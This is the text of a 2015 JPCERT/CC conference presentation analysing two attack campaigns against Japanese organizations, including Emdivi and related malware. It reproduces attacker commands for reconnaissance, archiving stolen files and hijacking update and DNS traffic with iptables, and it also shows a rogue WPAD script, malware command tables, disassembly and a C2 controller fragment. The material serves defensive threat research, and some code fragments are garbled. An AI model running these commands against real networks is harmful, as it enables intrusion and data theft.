CODE BLUE 2015

Revealing the Attack Operations Targeting Japan

JPCERT/CC Analysis Center
Shusei Tomonaga
Yuu Nakamura
Agenda

1. Introduction
2. Operation A
3. Operation B
Agenda

1. Introduction
2. Operation A
3. Operation B
Self-introduction

Shusei Tomonaga
Yuu Nakamura

- Analysis Center at JPCERT Coordination Center
- Malware analysis, Forensics investigation
JPCERT Coordination Center

- Japan Computer Emergency Response Team Coordination Center

**Prevention**
- Vulnerability information handling

**Monitoring**
- Information gathering & analysis & sharing
- NW Traffic Monitoring

**Response**
- Incident handling

Early warning information
CSIRT establishment support
Industrial control system security
International collaboration

Artifact (e.g. Malware) analysis
Targeted Attacks handled by JPCERT/CC

From April to September 2015

130 organizations

Operation A

93 organizations

Operation B

4 organizations
Introducing 2 Types of Attack Operations

**Operation A**

- Targeting many Japanese organizations since around 2012.
- Emdivi
- CloudyOmega (Symantec)
- BLUE TERMITE (Kaspersky)

**Operation B**

- Targeting some Japanese organizations since around 2013.
- APT17 (FireEye)
Agenda

1. Introduction
2. Operation A
3. Operation B
Characteristics of Operation A

Attacker’s Infrastructure (Compromised Web sites)

Japan

Overseas

Victim organizations (Public offices, private companies)

Targeted emails

Widespread emails

Watering hole
Details of Internal Intrusion Techniques

- Initial Compromise
- Collecting Information
- Lateral Movement
Details of Internal Intrusion Techniques

- Initial Compromise
- Collecting Information
- Lateral Movement
• In many attacks, malware are disguised with fake icons, compressed with zip or lzh and attached to emails.
• Attacks aiming certain targets may lead to correspondence of emails.
Details of Internal Intrusion Techniques

- Initial Compromise
- Collecting Information
- Lateral Movement
Investigation of Compromised Environment

Uses **Legitimate tools** provided by MS

Commands / Programs in OS standard accessories

- `dir`
- `net`
  - `net view`
  - `net localgroup administrators`
- `ver`
- `ipconfig`
- `systeminfo`
- `wmic`

**Active Directory admin tools sent after the compromise**

- `csvde`
- `dsquery`
Example of Using dsquery

Used in some cases targeting specific individuals

c:\>dsquery * -filter "(DisplayName=Yu*Nakamura)"
-attr name displayName description

name displayName description
yuunaka Yu Nakamura Chief Executive Officer
Collecting Email Account Information

- Uses free tools (Similar to NirSoft Mail PassView)
- Attempts to receive emails from outside
- May lead to new attack emails (correspondence of emails)
- Infection spreading from organization to organization
Collecting Classified / Personal Information

1. Search Network Drive
2. Search Targeted Data
3. Create a Copy of Compressed Files
4. Download
5. Delete Evidence
Search Network Drive (1)

net use command

> net use
New connections will be remembered.

<table>
<thead>
<tr>
<th>Status</th>
<th>Local</th>
<th>Remote</th>
<th>Network</th>
</tr>
</thead>
<tbody>
<tr>
<td>OK</td>
<td>T:</td>
<td>¥¥FILESV01¥SECRET</td>
<td>Microsoft Windows Network</td>
</tr>
<tr>
<td>OK</td>
<td>U:</td>
<td>¥¥FILESV02¥SECRET</td>
<td>Microsoft Windows Network</td>
</tr>
</tbody>
</table>

wmic command

> wmic logicaldisk get caption,providername,drivetype,volumename

<table>
<thead>
<tr>
<th>Caption</th>
<th>DriveType</th>
<th>ProviderName</th>
<th>VolumeName</th>
</tr>
</thead>
<tbody>
<tr>
<td>C:</td>
<td>3</td>
<td>OS</td>
<td></td>
</tr>
<tr>
<td>D:</td>
<td>3</td>
<td>Volume</td>
<td></td>
</tr>
<tr>
<td>T:</td>
<td>4</td>
<td>¥¥FILESV01¥SECRET</td>
<td>Volume</td>
</tr>
<tr>
<td>U:</td>
<td>4</td>
<td>¥¥FILESV01¥SECRET</td>
<td>Volume</td>
</tr>
</tbody>
</table>

DriveType = 4
⇒ Network Drive
Combination of netstat Command & nbtstat Command

> netstat –an


> nbtstat -a 192.168.yy.yy

Name              Type  Status
---------------------------------------------
FILESV01 <00> UNIQUE  Registered

Port 445 is set as the key to search the access point of file sharing service
Search Targeted Data

dir command

> dir ¥¥FILESV01¥¥SECRET

¥¥FILESV¥¥SECRET Directory

2014/07/11 09:16 [DIR] Management of Partner Companies
2014/08/01 09:27 [DIR] Location information

Not only searches network drive but also compromised computers

> dir c:¥users¥hoge¥*.doc* /s /o-d

c:¥users¥hoge¥AppData¥Local¥Temp Directory

2014/07/29 10:19 28,672 20140820.doc
1 File 28,672 bytes

c:¥users¥hoge¥Important Information Directory

2015/08/29 10:03 1,214 Design Document.doc

/s : Displayed recursively
/o-d : Sorted by date
Compress, Download, Delete Evidence

Compressed with RAR

> winrar.exe a -r -ed -v300m -ta20140101 %TEMP%¥a.rar
“¥¥FILESV01¥SECRET¥Management of Intellectual Property” -n*.ppt* -n*.doc* -n*.xls* -n*.jtd

Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Committee List(2015.05.01).docx OK
Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Framework.ppt OK
Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Application List.xlsx OK
Adding ¥¥FILESV01¥SECRET¥Management of Intellectual Property¥Design Document.jtd OK

Documents are compressed per folder
RAR files are sent to C&C servers and deleted
Details of Internal Intrusion Techniques

Initial Compromise

Collecting Information

Lateral Movement
Methods Used to Spread Infection

Patterns of spreading infection

- Exploiting vulnerabilities (MS14-068 + MS14-058)
- Investigating SYSVOL scripts
- Password list-based attack
- Exploiting Built-in Administrator password
- Setting malware in file servers
- Exploiting WPAD
- Others
Exploiting Vulnerabilities (MS14-068 + MS14-058)

1. Escalate privilege (MS14-058) and dump user’s password with mimikatz

2. Exploit MS14-068 vulnerability and gain Domain Admin privileges

3. Upload mimikatz to DC and dump admin’s passwords

4. Copy malware to PC-B

5. Register a task in order to execute malware

6. Malware executes according to the task
Investigating SYSVOL Scripts

Key Point

• In some cases, passwords are found in logon script, etc.

Attacker’s Infrastructure

3. Search admin’s password
2. Download

Domain Controller

1. Download logon script, compress and archive
4. Copy malware to PC-B
5. Register a task in order to execute malware
6. Malware executes according to the task

C2 Server

PC-A

PC-B
Password List-based Attack

Key Point

- Attempts logon by using an approximately **10-30** line password list and the user’s list of Domain Admins
- Uses a tool called logon.exe (self-built?)

1. Get user’s list of Domain Admins
2. Attempts logon with logon.exe
3. Copy malware
4. Register a task
5. Execute Domain Controller
Exploiting Built-in Administrator Password

Key Point

• An effective measure when there is no way to exploit Domain environment
• Need to hash passwords or dump passwords

1. Escalate privilege (UAC bypass) and dump user’s password
2. Pass the hash or net use
   ```
   net use ¥¥PC-B¥IPCS [password] /u:Administrator
   ```
3. Copy malware
4. Register a task
5. Execute
Setting Malware in File Servers

Key Point

- Effective when there is no other measure

1. Replace the existing file with malware disguised with fake icons

2. Execute malware in file servers
Exploiting WPAD

WPAD (Web Proxy Auto-Discovery)

— Turned on by default
— Get automatic configuration script from either
  Ø URL specified by DHCP server, or
  Ø http://wpad/wpad.dat

![Local Area Network (LAN) Settings](image)
Exploiting WPAD (Step 1: NetBIOS Spoofing)

Key Point

- Effective in an environment where WPAD is not configured
- NetBIOS Spoofing

1. Broadcast: Name query NB WPAD

2. Name query response (I am WPAD)
Exploiting WPAD (Step 2: Fake WPAD Server)

wpad.dat (automatic configuration script)

```javascript
function FindProxyForURL(url, host) {
    if (myIpAddress() != "[PC-A addr]") {
        return 'PROXY wpad:8888;DIRECT';
    }
    return 'DIRECT';
}
```

3. Request http://wpad/wpad.dat

4. Response

wpad.exe

PC-A

PC-B
Exploiting WPAD (Step 3: Man in the Middle Proxy)

5. Embed iframe in attacker’s Web site

6. Drive-by download attack
### Summary: Methods of Spreading Infection

<table>
<thead>
<tr>
<th>Method</th>
<th>AD</th>
<th>Privilege Escalation</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>MS14-068</td>
<td>Necessary</td>
<td>Unnecessary / Necessary for password dump</td>
<td>Risk exists when DC is unpatched</td>
</tr>
<tr>
<td>SYSVOL Search</td>
<td>Necessary</td>
<td>Unnecessary</td>
<td></td>
</tr>
<tr>
<td>Brute Force Attack (Password List Attack)</td>
<td>Necessary</td>
<td>Unnecessary</td>
<td>Risk exists when the password is weak</td>
</tr>
<tr>
<td>Abusing Built-in Administrator</td>
<td>Unnecessary</td>
<td>Necessary</td>
<td>Presumes that the password is the same</td>
</tr>
<tr>
<td>Exploiting File Servers</td>
<td>Unnecessary</td>
<td>Unnecessary</td>
<td>Risk exists when the file is disguised to one that many users open</td>
</tr>
<tr>
<td>Exploiting WPAD</td>
<td>Unnecessary</td>
<td>Unnecessary</td>
<td>Situations are limited</td>
</tr>
</tbody>
</table>
DETAILS OF TOOLS AND MALWARE
# Characteristics of Malware

Different types of malware reside depending on the phase and scale of damage of the attack

<table>
<thead>
<tr>
<th>Malware</th>
<th>Overview</th>
<th>File format</th>
<th>Form of attack</th>
</tr>
</thead>
<tbody>
<tr>
<td>Emdivi (t17)</td>
<td>HTTP BOT</td>
<td>EXE</td>
<td>Intrude</td>
</tr>
<tr>
<td>Tools</td>
<td>Password dump, etc.</td>
<td>EXE, etc.</td>
<td></td>
</tr>
<tr>
<td>usp10jpg</td>
<td>Download (low-frequency communication)</td>
<td>DLL, data</td>
<td></td>
</tr>
<tr>
<td>Emdivi (t19, t20)</td>
<td>HTTP BOT (highly sophisticated than t17)</td>
<td>EXE</td>
<td>Lateral Movement</td>
</tr>
<tr>
<td>BeginX</td>
<td>Remote shell tool</td>
<td>EXE</td>
<td></td>
</tr>
<tr>
<td>GStatus</td>
<td>HTTP BOT (low-frequency communication)</td>
<td>EXE, DLL</td>
<td>Conceal?</td>
</tr>
</tbody>
</table>

Reference: [Ayaka Funakoshi. A study on malware characteristics and its effects observed in targeted attacks. MWS, 2015]
<table>
<thead>
<tr>
<th>Tools</th>
<th>Type</th>
<th>Overview</th>
<th>Filename</th>
</tr>
</thead>
<tbody>
<tr>
<td>Password dump</td>
<td>Quarks PwDump</td>
<td>qp.exe, qd.exe, QDump.exe, etc.</td>
<td></td>
</tr>
<tr>
<td>Pass-the-hash</td>
<td>MimikatzLite</td>
<td>gp.exe</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Windows credentials Editor</td>
<td>wce.exe, ww.exe</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Mimikatz</td>
<td>mz.exe, mimikatz.exe, mimikatz.rar (sekurlsa.dll)</td>
<td></td>
</tr>
<tr>
<td>Vulnerability exploitation</td>
<td>MS14-068</td>
<td>ms14-068.exe</td>
<td>ms14-068.tar.gz</td>
</tr>
<tr>
<td></td>
<td>(CVE-2014-6324)</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>MS14-058</td>
<td></td>
<td>4113.exe</td>
</tr>
<tr>
<td></td>
<td>(Privilege escalation)</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>(CVE-2014-4113)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>UAC bypass</td>
<td>UAC bypass tool</td>
<td>msdart.exe, puac.exe, etc.</td>
<td></td>
</tr>
<tr>
<td>Packet transmit</td>
<td>Htran, proxy adaptive Htran</td>
<td></td>
<td>htproxy.exe, etc.</td>
</tr>
<tr>
<td>Mail account theft</td>
<td>Similar to NirSoft Mail PassView</td>
<td>CallMail.exe, outl.exe, etc.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Attempt logon based on list</td>
<td>logon.exe</td>
<td></td>
</tr>
<tr>
<td></td>
<td>WinRAR archiver</td>
<td>yrar.exe, rar.exe, etc.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Highly sophisticated dir command</td>
<td>dirasd.exe, etc.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Change timestamp</td>
<td>timestomp.exe</td>
<td></td>
</tr>
</tbody>
</table>
Emdivi (t17)

HTTP BOT with basic functions

- Repeatedly upgraded the version in the past year and implemented new commands

<table>
<thead>
<tr>
<th>Command</th>
<th>Date of Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>DOABORT</td>
<td></td>
</tr>
<tr>
<td>DOWNBG</td>
<td></td>
</tr>
<tr>
<td>GETFILE</td>
<td></td>
</tr>
<tr>
<td>LOADDLL</td>
<td></td>
</tr>
<tr>
<td>SETCMD</td>
<td></td>
</tr>
<tr>
<td>SUSPEND</td>
<td></td>
</tr>
<tr>
<td>UPLOAD</td>
<td></td>
</tr>
<tr>
<td>VERSION</td>
<td></td>
</tr>
<tr>
<td>GOTO</td>
<td>May 2015</td>
</tr>
<tr>
<td>CLEARLOGS</td>
<td>August 2015</td>
</tr>
</tbody>
</table>
Emdivi (t20)

Highly Sophisticated Emdivi

- The number of implemented commands have increased and decreased in the past year.
  — 18-41 (based on JPCERT/CC’s study)

- In some cases, the targeted organization’s proxy server address is hard-coded.

- May only run on specific computers (encryption of data by computer SID)
Download (low-frequency communication)

- Communication performed once a day
- Able to specify the day of week of communication
- Tend to be set to computers that are not infected with Emdivi (secondary infection)
- DLL Preloading Attack

Exploit specific DLL
Search Order and load malicious DLL

Read data and execute

dwmapi.dll, etc.

***.DAT
Difficulty to detect Usp10.jpg

Computer Infected with Emdivi

Easy to detect due to high-frequency communication

Attacker’s Infrastructure

May be left undetected due to low-frequency communication

usp10.jpg
BeginX

Remote Shell Tool

- **BeginX Server**
  - Listens to specific ports and waits for commands
  - Both UDP and TCP versions available

- **BeginX Client**
  - Client which sends commands to BeginX Server
  - Controlled via Emdivi

```
push    offset tolen ; fromlen
push    offset to   ; from
push    0          ; flags
push    1000h      ; len
lea     eax, [ebp+buf]
push    eax        ; buf
push    ecx        ; s
call    ds:recvfrom
test    eax, eax
js      short loc_401320
lea     ecx, [ebp+buf]
lea     ebx, [ebx+0]
push    offset aBeginx ; "beginx"
```
Image of Using BeginX

Segment (unable to connect to Internet)

Attacker's Infrastructure

Unable to control by Emdivi infection

Able to control via BeginX

BeginX Server

BeginX Client

Computer Infected with Emdivi

Emdivi

Unable to control by Emdivi infection

Able to control via BeginX
GStatus

HTTP BOT different from Emdivi

- Not found in many organizations, but...

- Bot Function
  - Get drive information
  - Execute arbitrary shell command
  - Process list
  - Screen related functions

```assembly
mov    eax, [esp+3C4h+var_28C]
push   offset FileName ; lpFileName
push   eax               ; /web/GStatus.asp?id=........
push   2                  ; int
push   50h                ; int
push   offset szServerName ; int
call   mal_http_request_and_write_file
```
GStatus Web Panel (Admin Screen)
ANALYSIS TOOLS
emdivi_string_decryptor.py
emdivi_string_decryptor.py

- IDAPython
- Used to analyze Emdivi
- Decode encoded strings

Supported version

- t17, 19, 20
### Emdivi encoded strings

<table>
<thead>
<tr>
<th>Hex String</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00447A08</td>
<td>WCqCyVhBTBrwZxfNAUDE9gfV06v3YSKanD9v5RDQvdlDd6a1GF0KR4Ivc+5sHhWhbVTVqjy/4ksU/hoHSA==</td>
</tr>
<tr>
<td>00447A0E</td>
<td>hDX6Z1wTBn2INeyAqICnLeftTy+1KreOSPsmX2QmqTUJvfRwsjdx5Y56Ta9ksu7Cj900GAG7a3q+8iBJGQ==</td>
</tr>
<tr>
<td>00447B40</td>
<td>Wskl/fGmVYMzu1Y108gd+ZmBjGym8CQJXPaDTZgFe9fZKvWqcwabVmmInmZz7QytcNCXboUxshsEUV unpleasanttoSyWgs==</td>
</tr>
<tr>
<td>00447BA0</td>
<td>gSrykigymxremRhGMPsKyrpwpbwy8awVFtBEDRpe3ZVhgyNnDkknfTtPDUYLAIAU6sEws1n8QKiGe3YErakaBGsrUmix7Tkp+C6NvkLpFyq0==</td>
</tr>
<tr>
<td>00447C10</td>
<td>WzctZPY0nRLuzFOBo5ClHnmGrIg95rTh9pnQNC5fzdWIA2MQtyJ/jdNQekMgx2lcwCnlhTAnGUXh5UpHkgEg==</td>
</tr>
<tr>
<td>00447C70</td>
<td>ViHi2iSj/BRbvGmjKzo/o8PbnLMm0MLaM4mPzSUuVNA+F+mkP5m+YhGqwoJMMOZBNJICZS+8IEnclXxyQ1Coxok0Xy/JMfkLxoxPiosieomq05Pcnw==</td>
</tr>
<tr>
<td>00447CE00</td>
<td>VC32xf0sSgQLaR04HdvG80HdvD3JFTeqCC+xiqbnQh6XbvrUvEsEGCxrSpcxsZD64y3q58iRtm5a7JsmATYKIUlLkkaY6kyl4c7JnI==</td>
</tr>
<tr>
<td>00447D50</td>
<td>Ttjxg+unRtyHg/5Fp3ee3Feh8iNQADldIl6EzgXPjFC18CLx88B75Fzxwy23CJSJC6C0/6NgjHqJ6DFKjioj7u7KmFMFyqJUBkD0m==</td>
</tr>
<tr>
<td>00447DC0</td>
<td>kD0CagQ8VefEko5s0Vcd1oEe810lRCl0kvfiyboHljHq7CudjAQcs/+f/jgziNk0H43hM1IVnlfV40ig+2Q==</td>
</tr>
<tr>
<td>00447E20</td>
<td>vS8kWskRygLnRkH6f1v01e0pddk3pDkzy6CPNFeWWvB4Gxg3U70iggwLkavxI3yfS1q1gZgNkacoAUQBS0azRrrk3U==</td>
</tr>
<tr>
<td>00447E90</td>
<td>Xd8ukuf/axDgk+kzCskCBhOSz4b38t7TeEehwHCES1xuCxmQdrewLWnY7dZU6s6W+6pndvFXNMknkh2S10aby6g==</td>
</tr>
<tr>
<td>00447EF0</td>
<td>ozUvkA7jyh6ZuFFpjVeMpadzZr6K6+PMgruxPZIQ6P7zJbSkq70ISdDhYd98USkb2sa2VUHCoId/za78jfa==</td>
</tr>
<tr>
<td>00447F50</td>
<td>h/vj3EtnBveLs4NgbA6x6h7nwi5sy6OADSX30yEapaibTysv/yg36Zn2T3T3O2sfl81pumkVkglQ80bKQ==</td>
</tr>
<tr>
<td>00447FB0</td>
<td>SybiriJ4IgKkhkgh/12zgAONJSbJIFn7LqbR35ekT64gW3Y78o0ddAin3n3dUI1VROOpK5S7+ugDrXtmn7hKg4wcSTKpMpskKYPUSOZ1lzQz==</td>
</tr>
<tr>
<td>00448020</td>
<td>SyHvRjQrbgVnMB9GqzwOjkoTo+y1a+u/ih+503TfAgHqJUsBCWquTuJfNxfz92Tzqsd0RsDMPQy92YylxY2XuADY3ZENEnqPciwhevdqY==</td>
</tr>
<tr>
<td>00448050</td>
<td>u9rVU+UJkgo8gljyjTuPdPCkDeDK/5n2o/13d0/mo01ZQGfDeTUUOQ6ioBi8RzEslpLxb182dak6s13Y7r0VrHNYFVKmN46bn42v6nE==</td>
</tr>
<tr>
<td>00448100</td>
<td>UPvzjeyscxwngx90fM6M4erfjqkny+uWHg6WNmjpBGH0wpbdSADwznMAsijhHeR924iYHd5QPWB81pafpb+FaC==</td>
</tr>
<tr>
<td>00448160</td>
<td>SuzmToxF8wbWbH3jwQuHjyzSbsYtoCJtvXfVrReebcbbPvd17Fy2sIuAI8P0lORFw+YS/9RO6/LskVrfGACVexryYbUQ40PsgdtrGs==</td>
</tr>
<tr>
<td>004481D0</td>
<td>TPD1W5/S8hqlGcw7Hqyq/04fP7oViUH65V0nrU3J6ZHaHuvzJAAxMy754KSWhuBEQigTI7YWA6MdxcmaNyrHXfQnyQCCc5vRZemHu7VM0==</td>
</tr>
<tr>
<td>00448240</td>
<td>jsX8kQon03h+z1+DCokCEq+4Vgubk3q7MznxR7LrRMgkEYhO1alVjHySuqkwD0/Wbvcjv9eyLk4HPg9e8Abw==</td>
</tr>
<tr>
<td>004482A0</td>
<td>TSLwioCnIAEAUERE/yEumywwQe1a48dCv7zv2y8unCtQTA081CiTWFwLwaOoaqaELJ4w2mg1sF0M4IealC/Q982XzGDMG+Ijp7LgbmGMD4==</td>
</tr>
<tr>
<td>00448310</td>
<td>St3uUxH2fA0gjDyjx7P94a7xUvESUSR+evbUkrKjfrAgD5sp3QVMD/tb3o0oA37qMjx7t627XyGjx6sIPl6EdcnVEｫEJ5188janFwmmMS==</td>
</tr>
<tr>
<td>00448380</td>
<td>VTMrZCA1U+30knBErNkFnbwAebkSfZIPOBj/6m/Z9fQrd2/B/GvFmQhzbTv2p2d5i0HIEu3n0SGKPLkPtdQ==</td>
</tr>
</tbody>
</table>
# emdivi_string_decryptor.py

## Difference depending on version string

<table>
<thead>
<tr>
<th></th>
<th>Ver 17</th>
<th>Ver 19 or 20</th>
<th>Ver 20</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Encrypt</strong></td>
<td>XxTEA encrypt</td>
<td>XxTEA decrypt</td>
<td>AES decrypt</td>
</tr>
<tr>
<td><strong>Decrypt</strong></td>
<td>XxTEA decrypt</td>
<td>XxTEA encrypt</td>
<td>AES encrypt</td>
</tr>
<tr>
<td><strong>Key</strong></td>
<td>( \text{MD5}( \text{MD5}(	ext{base64}(\text{ver})) + \text{MD5}(\text{key_string}) ) )</td>
<td><code>Scanf(</code> &quot;%x&quot;, Inc_Add(<code> ver17_key</code> ) <code>)</code></td>
<td><code>Inc_Add(</code> <code>ver17_key</code> <code>)</code></td>
</tr>
</tbody>
</table>
emdivi_string_decryptor.py

align 4
aN189xnoyhpcex db 'N18/9XnOyHPcEEXw9jRD6g==',0
; DATA XREF: .text=00427430t0
; .text=00427984t0

align 10h
aYq3ouuk9tzvpd0 db 'Yq3OuUK9tZvDP0bwWcETFw==',0
; DATA XREF: .text=0042741Ct0
; .text=00427970t0

align 4
aPxjdovuPfn8pee db 'PXJD OVUP/Fn8Pee+Cuf94Q==',0
; DATA XREF: .text=00427408t0
; .text=0042795Ct0

align 4
aq5Krrhpnuypn db 'aq5KrrHpJNuyP+noer+RBw==',0
; DATA XREF: .text=004273F4t0
; .text=00427948t0

align 4
aG7ack9ws01r446 db 'G7Ack9Ws01R446eW1fKFA==',0
; DATA XREF: .text=004273E1t0
; .text=00427935t0

align 10h
aRt9wzosbokzatg db 'Rt9WzOSboK+zatgwYPYHDfg==',0
; DATA XREF: .text=004273D1t0
; .text=00427925t0

align 4
aRfowhhjug60krj db 'RfoWhHJUG60KrWajr1SEQ==',0
; DATA XREF: sub_4053E4+12t0

Copyright©2015 JPCERT/CC All rights reserved.
emdivi_string_decryptor.py

```python
align 4
aN189xnoyhpcceex db 'N18/9XnOyHpcEEXw9jRD6g=', 0
    ; DATA XREF: .text:00427430 to
    ; .text:00427984 to
    ; "CW505D102"

align 10h
aYq3ouuk9tzvdp0 db 'Yq3OuUK9tZvDP0bwWcEIfw=', 0
    ; DATA XREF: .text:0042741C to
    ; .text:00427970 to
    ; "wilbert-SC2202"

align 4
aPxjdovupFn8pee db 'PXJDOVUp/Fn8Pee+Cuf94Q=', 0
    ; DATA XREF: .text:00427408 to
    ; .text:0042795C to
    ; "CW501_03"

align 4
aQg5krhrpjnuypN db 'qg5KrrHpvJNuyP+noer+RBw=', 0
    ; DATA XREF: .text:004273F4 to
    ; .text:00427948 to
    ; "mip-xp-cht"

align 4
g7ack9ws01r446 db 'G7ack9Ws01R446ehH1fKFA=', 0
    ; DATA XREF: .text:004273E1 to
    ; .text:00427935 to

align 10h
aRt9wzosbokZatg db 'Rt9wOSbok+zatgMYPYdFfg=', 0
    ; DATA XREF: .text:004273D1 to
    ; .text:00427925 to
    ; "wilbert-SC1508"

align 4
aRfowhhjg6okrj db 'RfowHJUG6OKrJwajr1SEQ=', 0
    ; DATA XREF: sub 4053E4+12 to
    ; "SetErrorMessage"

align 4
aLyvsginhy9bhp db 'lyvVsGinHy9bHp42uDFhmw=', 0
    ; DATA XREF: sub 4053E4+21 to
    ; sub_406F22+64A to
    ; sub_407A43+55L to
    ; sub_40A1D6+23F to
    ; "Kernel32.d11"
```

Copyright © 2015 JPCERT/CC All rights reserved.
DEMO
Agenda

1. Introduction
2. Operation A
3. Operation B
Attack Techniques

Drive-by Download Attack

Update Hijacking

Domain Name Hijacking
Attack Techniques

- Drive-by Download Attack
- Update Hijacking
- Domain Name Hijacking
Drive-by Download (Watering Hole) Attack

Targeted Organization

0. Deface Web site

Japanese Web server

1. Access to Web site

2. Redirect

Attacker’s Server

3. Download malware

4. Malware Infection
Access Control

.htaccess

Order deny,allow
#mgw
allow from 94.
allow from 1.
#mgw
allow from 91.
#mgw
allow from 2.
#mgw
allow from 1.
allow from 64.
allow from
#mgw
allow from 98.
0-day Exploits

CVE-2013-3893 (MS13-080)
- Detected around September 2013
- Vulnerability in Internet Explorer

CVE-2013-3918 (MS13-090)
- Detected around October 2013
- Vulnerability in Internet Explorer

CVE-2014-0324 (MS14-012)
- Detected around February 2014
- Vulnerability in Internet Explorer
Attack Techniques

Drive-by Download Attack
Update Hijacking
Domain Name Hijacking
Update Hijacking

Method used to alter updated information

0. Alter updated information
1. Request to update
2. Fake update Information
3. Request to download
4. Download malware
5. Malware Infection
Another Update Hijacking Pattern

Method used without changing update server's file

0. Change iptables
1. Software Update
Another Update Hijacking Pattern

Method used without changing update server's file

TCP 80 is forwarded by iptables.

```
iptables -t nat -A PREROUTING -i eth0 -s aa.bb.cc.dd -p tcp --dport 80 -j DNAT --to-destination ww.xx.yy.zz:53
```

Key Point

- Update server's file is unchanged
- Does not save iptables
- Targeted organization sees as if it is communicating with legitimate update server
Attack Techniques

- Drive-by Download Attack
- Update Hijacking
- Domain Name Hijacking
Domain Name Hijacking

0. Change registration information

1. DNS query

2. DNS query

3. DNS Server

4. Web access
DETAILS OF MALWARE
Domain Name Hijacking

Routing of only specific DNS queries by using iptables

```
iptables -t nat -A PREROUTING -p udp --dport 53 -m string --from 30 --to 34 --hex-string "|03|AAA" --algo bm -j DNAT --to-destination aa.bb.cc.dd:54
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT -to ww.xx.yy.zz:53
```

Key Point

- Routing of only specific sub domains
- Other DNS queries are routed to the legitimate DNS server

AAA.example.com
Characteristics of Malware

① Uses a different malware before and after the intrusion

② Some malware run in memory only

③ Embedding target organization's internal information

④ Uses code signing certificate in some cases
Characteristics of Malware

Intrusion
- BlackCoffee
- McRAT
- Preshin
- Agtid

Concealing
- Hikit
- Derusbi
- PlugX
## Malware (Intrusion)

**HTTP bot with basic functions**

### Command List

<table>
<thead>
<tr>
<th>command</th>
<th>info</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x184004</td>
<td>Execute remote shell</td>
</tr>
<tr>
<td>0x184008</td>
<td>Run remote shell command</td>
</tr>
<tr>
<td>0x18400c</td>
<td>Create file</td>
</tr>
<tr>
<td>0x184010</td>
<td>Load file</td>
</tr>
<tr>
<td>0x184014</td>
<td>Get drive information</td>
</tr>
<tr>
<td>0x184018</td>
<td>Create directory</td>
</tr>
<tr>
<td>0x18401c</td>
<td>Search file</td>
</tr>
<tr>
<td>0x184020</td>
<td>Delete file</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>command</th>
<th>info</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x184024</td>
<td>Move file</td>
</tr>
<tr>
<td>0x184028</td>
<td>Process list</td>
</tr>
<tr>
<td>0x18402c</td>
<td>Terminate process</td>
</tr>
<tr>
<td>0x184030</td>
<td>Sleep</td>
</tr>
<tr>
<td>0x184034</td>
<td>Install command</td>
</tr>
<tr>
<td>0x184038</td>
<td>Set Sleep Time</td>
</tr>
<tr>
<td>0x18403c</td>
<td>Terminate</td>
</tr>
</tbody>
</table>
IP Address Acquisition Algorithm

Get C2 IP address from Web page

```html
<!--script type="text/javascript" src=""
<!--@MICR0S0FT CORP0RATI0N -->
<script type="text/javascript" src="http://example.com"></script>

<!-- saved from url=(0035)LOve yOU 4 eveR Reve 4 uOy evOl -->
```

Decode

```python
def main():
    string = sys.argv[1]
    str1 = string[0:2]
    str2 = string[1:2]
    ans = ""
    for (c1, c2) in izip(str1, str2):
        ans += chr((((c2 << 4) & 0xff) + ord(c1)) & 0xff) - 0x71 & 0xff)
    print(inet_ntoa(ans))
```
# Malware (Intrusion)

## Plug-in-based malware

### Command list

<table>
<thead>
<tr>
<th>command number</th>
<th>info</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Send data to server</td>
</tr>
<tr>
<td>1</td>
<td>Set TickCount</td>
</tr>
<tr>
<td>3</td>
<td>Plug-in registration</td>
</tr>
<tr>
<td>4</td>
<td>Allocate Plug-in settings area</td>
</tr>
<tr>
<td>5</td>
<td>Set Plug-in settings area</td>
</tr>
<tr>
<td>6</td>
<td>Create/Execute plug-in</td>
</tr>
<tr>
<td>7</td>
<td>Terminate plug-in</td>
</tr>
<tr>
<td>8</td>
<td>Create configuration file</td>
</tr>
<tr>
<td>9</td>
<td>-</td>
</tr>
</tbody>
</table>
Malware Running in Memory Only

CVE-2013-3918 with McRAT

ROP

Shellcode

skip

Malware
Malware Running in Memory Only

CVE-2013-3918 with McRAT

- Executes rundll32.exe and injects code
- McRAT's data below Shellcode is injected
- Not saved as a file
Simple HTTP bot with limited functions

Command list

<table>
<thead>
<tr>
<th>command</th>
<th>info</th>
</tr>
</thead>
<tbody>
<tr>
<td>downonly</td>
<td>Download file</td>
</tr>
<tr>
<td>downexec</td>
<td>Download and Execute file</td>
</tr>
<tr>
<td></td>
<td>Run remote shell command</td>
</tr>
</tbody>
</table>
Preshin Controller

PHP-based Controller

```php
<?php
    Header( "Content-Type: text/html\n\n" );
    Header( "Cache-Control: proxy-revalidate,no-cache,must-revalidate" );
    error_reporting(0);
    $nContentLength = 0;
    $sQuery_String = getenv("QUERY_STRING");
    $sQuery_Method = getenv("REQUEST_METHOD");
    $sContent_Length = getenv("CONTENT_LENGTH");
    if($sQuery_Method == "GET")
        $sQuery_String = getenv("QUERY_STRING");
    else if($sQuery_Method == "POST")
        $sQuery_String = file_get_contents("php://input");
    $nContentLength = strlen($sQuery_String);
    if($nContentLength >= 8 + 8)
        $headFlag = substr($sQuery_String,8,4);
        if($headFlag == "ah8d")
            $cmd = substr($sQuery_String,4+8,4);
            if($cmd == "1059")
                { handle_reportactiveinfo_event($sQuery_String,$nContentLength); }
            else if($cmd == "1vbi")
                { handle_queryhostinfo_event($sQuery_String,$nContentLength); }
            else if($cmd == "u0vg")
                {
```
```
Example of command execution

```
dir d:\files
dir "d:\tools\program files"
dir "d:\files\program files"
dir "c:\program files"
dir "c:\program files\Google\Chrome\Application"
